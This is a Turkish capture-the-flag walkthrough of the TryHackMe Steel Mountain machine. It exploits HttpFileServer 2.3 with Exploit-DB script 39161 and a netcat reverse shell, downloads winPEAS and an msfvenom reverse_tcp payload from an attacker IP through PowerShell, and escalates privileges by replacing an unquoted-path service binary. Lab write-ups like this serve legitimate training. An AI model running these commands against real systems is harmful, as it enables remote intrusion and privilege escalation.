TryHackMe üzerinde bulunan Steel Mountain makinesinde çözüm olarak 2 yol gösteriliyor. Yollardan biri kolay olan Metasploit ile erişim alıp yetki sağlamaktadır. Diğer yöntem ise Python ile yazılmış script çalıştırarak diğer adımları izlemektir.
Her zaman zafiyetler için exploit işlemlerini Metasploit ile gerçekleştirilemez. Statik olarak da exploit çalıştırabilmeyi tersine bağlantıyı netcat ile alabiliyor olmamız gerekir. Bu yazıdaki amacım ise bunu hedeflemektedir.
Nmap İle Zafiyet Tespiti
nmap -sC -sV -T4 -Pn 10.10.177.120 -oA nmap
İlgili komutların çıktısında, zafiyet olarak “HttpFileServer httpd 2.3” karşımıza çıkacaktır.
Exploit db üzerinden “Http File Server ” arama yaptığımızda doğrulanmış(verified) olarak bazı scriptler gelmektedir. Bunlar içeresinden https://www.exploit-db.com/exploits/39161 kullanacağız.
Exploit kullanımı için şu örneği bizlere vermiş;
#Usage : python Exploit.py <Target IP address> <Target Port Number>
Ek olarak indirdiğimiz dosya içeresinde, ip_addr ve local_port değişkenleri kendimize göre düzenlememiz gerekir.
Netcat Exe’yi, https://github.com/andrew-d/static-binaries/blob/master/binaries/windows/x86/ncat.exe adresinden indirebilirsiniz.
Exploit ve İlk Bağlantıyı Almak
İlk adım, netcat.exe dosyasının bulunduğu yerde web server aktif hale getirmek ve netcat.exe ismini nc.exe olarak değiştirelim.
python -m SimpleHTTPServer 80
mv netcat.exe nc.exe
İkinci adım, Gelecek bağlantıyı dinleyelim
nc -lvp 4443
Üçüncü adım, exploit işlemini gerçekleştirelim. Bu adımda ilgili exploit bizim web serverimizden nc.exe’yi alıp hedefe yükleyecektir.
python 39161.py 10.10.177.120 8080
Dördüncü adım, exploit tetiklemek ve bağlantıyı elde etmek!
python 39161.py 10.10.177.120 8080
Tüm olay tam da aşağıdaki resimde ki olmaktadır.
Netcat oturumu ile winPeas aktarılması
winPEASbat dosyasının bulunduğu yerde web server başlatılır.
Aldığımız oturum içeresinde powershell komutu ile web servere istek atılır.
Uri kısmına web server başlattığınız saldırganın makinenin ip adresi yazılır.
python -m SimpleHTTPServer
cd c:\users\bill\desktop
powershell -c "Invoke-WebRequest -Uri 'http://10.8.233.100:80/winPEAS.bat' -OutFile 'C:\Users\bill\Desktop\winpeas.bat'"
Sisteme indirdiğimiz lokal zafiyet tarama aracını aşağıda ki komut ile çalıştırabiliriz.
winpeas.bat
UNQUOTED servisler tespit edilir. UNQUOTED servisi, hatalı yapılandırmadan kaynaklanan ve verilen path koruma altına alınmasından kaynaklanan zafiyettir. Özellike bulunduğu dosya da yazma işlemi de var ise yetki yükseltmeye imkan doğurmaktadır.
powershell ile çalışan servisleri listelenir.
powershell -c Get-Service
Biz verilen ipucu ise ,sc stop AdvancedSystemCareService9 ve sc start AdvancedSystemCareService9 komutları ile servis durdurulabilir ya da çalıştırabilir.
İlgili uygulamanın dizine gidelim
cd "c:\program files (x86)\IObit\Advanced SystemCare"
Reverse shell oluşturmak
msfvenom -p windows/shell/reverse_tcp LHOST=10.8.233.100 LPORT=4422 -e x86/shikata_ga_nai -f exe -o ASCService.exe
Oluşturulan reverse shell dosyasını alalım. Oluşturulan dizinde python -m SimpleHTTPServer 80 ile web server başlatılmalıdır.
powershell -c "Invoke-WebRequest -Uri 'http://10.8.233.100:80/ASCService.exe' -Outfile 'C:\Users\bill\Desktop\ASCService.exe'
sc stop AdvancedSystemCareService9
İlgili servis durdulur ve oluşturulan reversel shell ilgili dizine taşınır.
sc stop AdvancedSystemCareService9
copy ASCService.exe "c:\program files (x86)\IObit\Advanced SystemCare\ASCService.exe"4
nc -nlvp 4422
sc start AdvancedSystemCareService9
Ters bağlantı alınır.